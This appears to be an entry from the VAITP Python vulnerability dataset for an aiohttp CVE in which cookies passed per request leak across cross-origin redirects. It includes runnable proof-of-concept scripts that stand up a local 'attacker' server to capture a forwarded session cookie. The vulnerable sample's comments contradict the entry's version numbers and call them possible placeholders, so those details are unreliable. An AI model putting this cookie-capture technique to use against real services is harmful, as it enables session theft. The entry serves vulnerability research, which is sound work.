VAITP Dataset

← Back to the dataset

CVE-2026-47265

AIOHTTP leaks sensitive cookies when following a cross-origin redirect.

  • CVSS 6.6
  • CWE-346
  • Information Leakage
  • Remote

AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to version 3.14.0, cookies set with the `cookies` parameter on requests are sent after following a cross-origin redirect. If a developer uses the `cookies` parameter on a per-request basis then sensitive data might be leaked to an attacker if they manage to control a redirect. Version 3.14.0 patches the issue. If unable to upgrade, using a `Cookie` header in the `headers` parameter is not vulnerable.

CVSS base score
6.6
Published
2026-06-02
OWASP
A01 Broken Access Control
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Information Leakage
Subcategory
Information Disclosure
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
AIOHTTP
Fixed by upgrading
Yes

Solution

Upgrade AIOHTTP to version 3.14.0 or later.

Vulnerable code sample

# This code requires a vulnerable version of aiohttp (e.g., < 3.9.0) to demonstrate the vulnerability.
# On a patched version, the cookie will not be leaked to the attacker's server.
# The user-provided CVE and version numbers may be incorrect placeholders; this code
# demonstrates the described behavior of leaking cookies on cross-origin redirects.

import asyncio
import aiohttp
from aiohttp import web

async def trusted_redirect_handler(request):
    """
    A handler on the "trusted" domain that issues a redirect
    to a cross-origin, "attacker-controlled" domain.
    """
    location = 'http://127.0.0.1:8081/capture'
    raise web.HTTPFound(location)

async def attacker_capture_handler(request):
    """
    A handler on the "attacker" domain that receives the redirected request
    and inspects its headers for the leaked cookie.
    """
    leaked_cookie = request.headers.get('Cookie')
    print("-" * 50)
    if leaked_cookie:
        print(f"[ATTACKER SERVER] VULNERABILITY CONFIRMED: Received cookies: {leaked_cookie}")
    else:
        print("[ATTACKER SERVER] OK: No cookies were leaked.")
    print("-" * 50)
    return web.Response(text="Captured")

async def main():
    # --- Server Setup ---
    # Trusted server (on port 8080) that will issue a redirect
    trusted_app = web.Application()
    trusted_app.router.add_get('/start', trusted_redirect_handler)
    trusted_runner = web.AppRunner(trusted_app)
    await trusted_runner.setup()
    trusted_site = web.TCPSite(trusted_runner, '127.0.0.1', 8080)
    await trusted_site.start()

    # Attacker's server (on port 8081) to receive the redirect
    attacker_app = web.Application()
    attacker_app.router.add_get('/capture', attacker_capture_handler)
    attacker_runner = web.AppRunner(attacker_app)
    await attacker_runner.setup()
    attacker_site = web.TCPSite(attacker_runner, '127.0.0.1', 8081)
    await attacker_site.start()

    print("[CLIENT] Making request to trusted site with a sensitive cookie...")
    print("[CLIENT] The site will redirect to an attacker-controlled site.")
    
    # --- Vulnerable Client Logic ---
    async with aiohttp.ClientSession() as session:
        # The 'cookies' parameter is the source of the vulnerability.
        # On vulnerable versions, aiohttp will forward these cookies
        # to the new domain after the redirect.
        sensitive_data = {'session_id': 'secret-user-token-12345'}
        
        try:
            await session.get(
                'http://127.0.0.1:8080/start',
                cookies=sensitive_data,
                allow_redirects=True  # This is True by default
            )
        except aiohttp.ClientError as e:
            print(f"[CLIENT] Request failed: {e}")

    # Cleanup
    await asyncio.sleep(0.2) # Allow server to print output
    await trusted_runner.cleanup()
    await attacker_runner.cleanup()

if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("Client and servers shut down.")

Patched code sample

import asyncio
from aiohttp import web, ClientSession

# This server represents a malicious, third-party site.
async def attacker_handler(request):
    """
    Receives the redirected request. We check if the sensitive cookie
    was forwarded here.
    """
    print("\n--- Attacker Server Received Request ---")
    cookie_header = request.headers.get("Cookie")
    if cookie_header:
        print(f"!!! VULNERABILITY EXPLOITED: Leaked cookie: {cookie_header}")
    else:
        # This is the expected outcome when the fix is applied.
        print(">>> FIX VERIFIED: No cookie was leaked to the attacker.")
    return web.Response(text="Hello from attacker")

# This server represents the initial, trusted site.
async def legitimate_handler(request):
    """
    Receives the initial request and redirects to a cross-origin
    attacker-controlled site.
    """
    print("\n--- Legitimate Server Received Request ---")
    print(f"Cookie received: {request.headers.get('Cookie')}")
    # This redirect is the core of the vulnerability scenario.
    raise web.HTTPFound(location="http://127.0.0.1:8081/catch")

async def main():
    # Setup the attacker's server
    attacker_app = web.Application()
    attacker_app.router.add_get("/catch", attacker_handler)
    attacker_runner = web.AppRunner(attacker_app)
    await attacker_runner.setup()
    attacker_site = web.TCPSite(attacker_runner, '127.0.0.1', 8081)
    await attacker_site.start()

    # Setup the legitimate server
    legit_app = web.Application()
    legit_app.router.add_get("/", legitimate_handler)
    legit_runner = web.AppRunner(legit_app)
    await legit_runner.setup()
    legit_site = web.TCPSite(legit_runner, '127.0.0.1', 8080)
    await legit_site.start()

    print("--- Servers Started ---")
    print("Legitimate: http://127.0.0.1:8080")
    print("Attacker:   http://127.0.0.1:8081")

    # --- DEMONSTRATION OF THE FIX/WORKAROUND ---
    # The CVE description states that using a manual 'Cookie' header in the
    # 'headers' parameter is not vulnerable, as this bypasses the flawed
    # automatic cookie handling for redirects in older versions.
    # This code demonstrates that safe pattern.
    print("\n--- Client making request with the FIX (manual Cookie header) ---")
    safe_headers = {'Cookie': 'session_id=my_very_secret_token'}

    async with ClientSession() as session:
        try:
            async with session.get(
                "http://127.0.0.1:8080/",
                headers=safe_headers,
                allow_redirects=True
            ) as response:
                print(f"\nClient received final response from: {response.url}")
                print(f"Final status: {response.status}")
        except Exception as e:
            print(f"An error occurred: {e}")

    # Cleanup
    await attacker_runner.cleanup()
    await legit_runner.cleanup()
    print("\n--- Servers Stopped ---")

if __name__ == "__main__":
    # In a vulnerable version of aiohttp, using `cookies={'session_id': ...}`
    # would leak the cookie. This code shows the safe alternative.
    # An updated aiohttp (>=3.14.0) would also prevent the leak even with the
    # `cookies` parameter.
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\nInterrupted by user.")

Payload

import asyncio
import aiohttp
from aiohttp import web

# 1. Attacker's server to receive the leaked cookie
async def handle_attacker(request):
    print(f"[+] Attacker's server received a request.")
    leaked_cookie = request.headers.get("Cookie")
    if leaked_cookie:
        print(f"[!] SUCCESS: Leaked cookie received: {leaked_cookie}")
    else:
        print(f"[-] FAILURE: No cookie received.")
    return web.Response(text="Got it.")

# 2. A server that redirects to the attacker's server
async def handle_redirect(request):
    print("[i] Redirecting server received initial request. Redirecting to attacker...")
    # This simulates an open redirect vulnerability
    raise web.HTTPFound(location='http://127.0.0.1:8080')

async def main():
    # Setup and run the attacker's server
    attacker_app = web.Application()
    attacker_app.add_routes([web.get('/', handle_attacker)])
    attacker_runner = web.AppRunner(attacker_app)
    await attacker_runner.setup()
    attacker_site = web.TCPSite(attacker_runner, '127.0.0.1', 8080)
    await attacker_site.start()
    print("[*] Attacker's server listening on http://127.0.0.1:8080")

    # Setup and run the redirecting server
    redirect_app = web.Application()
    redirect_app.add_routes([web.get('/', handle_redirect)])
    redirect_runner = web.AppRunner(redirect_app)
    await redirect_runner.setup()
    redirect_site = web.TCPSite(redirect_runner, '127.0.0.1', 8081)
    await redirect_site.start()
    print("[*] Redirecting server listening on http://127.0.0.1:8081")

    # 3. Vulnerable client code
    # This client makes a request to a trusted site (the redirecting server)
    # but gets redirected to the attacker's site.
    # The vulnerability is that the sensitive cookie is sent to the attacker.
    async with aiohttp.ClientSession() as session:
        sensitive_cookies = {'session_id': 'super_secret_auth_token'}
        print(f"\n[*] Vulnerable client making request to http://127.0.0.1:8081 with cookies: {sensitive_cookies}")
        try:
            async with session.get('http://127.0.0.1:8081', cookies=sensitive_cookies) as response:
                print(f"[*] Client received final response with status: {response.status}")
                await response.text()
        except aiohttp.ClientConnectorError as e:
            print(f"[!] Client error: {e}")

    # Cleanup
    await attacker_runner.cleanup()
    await redirect_runner.cleanup()

if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\n[*] Shutting down servers.")

Cite this entry

@misc{vaitp:cve202647265,
  title        = {{AIOHTTP leaks sensitive cookies when following a cross-origin redirect.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-47265},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-47265/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::